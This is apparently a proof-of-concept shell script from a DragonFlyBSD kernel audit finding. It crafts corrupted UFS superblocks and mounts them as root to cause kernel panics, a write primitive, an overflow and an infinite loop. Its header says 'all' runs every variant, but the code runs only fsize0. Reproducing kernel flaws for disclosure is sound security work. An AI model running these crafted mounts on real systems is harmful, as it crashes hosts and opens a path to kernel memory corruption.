⬢ DragonFlyBSD Kernel Audit
DF-0820 / run.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/bin/sh
# DF-0820 run script — reproduces all three confirmed manifestations.
# MUST run as root in the guest (UFS mount is not user-mountable; see VERDICT.md §3).
# Usage (from host): vm.sh run_root 'sh /root/run.sh [variant]'
#   variant: fsize0 (div-by-zero panic) | ncgneg1 (bzero write-primitive panic)
#            ncghuge (controlled-value overflow panic) | frag0 (infinite loop)
#            all (default — runs each in turn, resetting the guest between)
#
# Each panic variant CRASHES THE GUEST; the serial console (dfbsd-qemu/boot.log)
# captures the panic. After a panic the guest must be reset (vm.sh reset with-src).
set -u
V="${1:-all}"
cd "$(dirname "$0")"

run_one() {
    local v="$1"
    echo "================= DF-0820 variant: $v ================="
    # build a fresh base UFS image
    rm -f base.img "img_${v}.img"
    truncate -s 4M base.img
    vnconfig -u vn0 2>/dev/null || true
    vnconfig -c vn0 base.img
    newfs -v /dev/vn0 >/dev/null 2>&1
    vnconfig -u vn0
    case "$v" in
        fsize0)    ./craft base.img img_fsize0.img    fs_fsize=0 ;;
        ncgneg1)   ./craft base.img img_ncgneg1.img   fs_ncg=-1 ;;
        ncghuge)   ./craft base.img img_ncghuge.img   fs_ncg=858993460 ;;
        frag0)     ./craft base.img img_frag0.img     fs_frag=0 ;;
        *) echo "unknown variant $v"; return 1 ;;
    esac
    mkdir -p /mnt/test
    vnconfig -c vn0 "img_${v}.img"
    echo "--- mounting img_${v}.img (panic expected for fsize0/ncgneg1/ncghuge) ---"
    mount -t ufs /dev/vn0 /mnt/test 2>&1
    echo "MOUNT_RC=$? (only reached if NO panic)"
    umount /mnt/test 2>/dev/null || true
    vnconfig -u vn0 2>/dev/null || true
}

# also dump the harness characterization (no kernel effect)
echo "================= primitive characterization (harness) ================="
./harness -1 2048 7 2048        | sed -n '1,16p'
echo "..."
./harness 858993460 2048 7 2048 | sed -n '1,16p'
echo

if [ "$V" = "all" ]; then
    run_one fsize0
else
    run_one "$V"
fi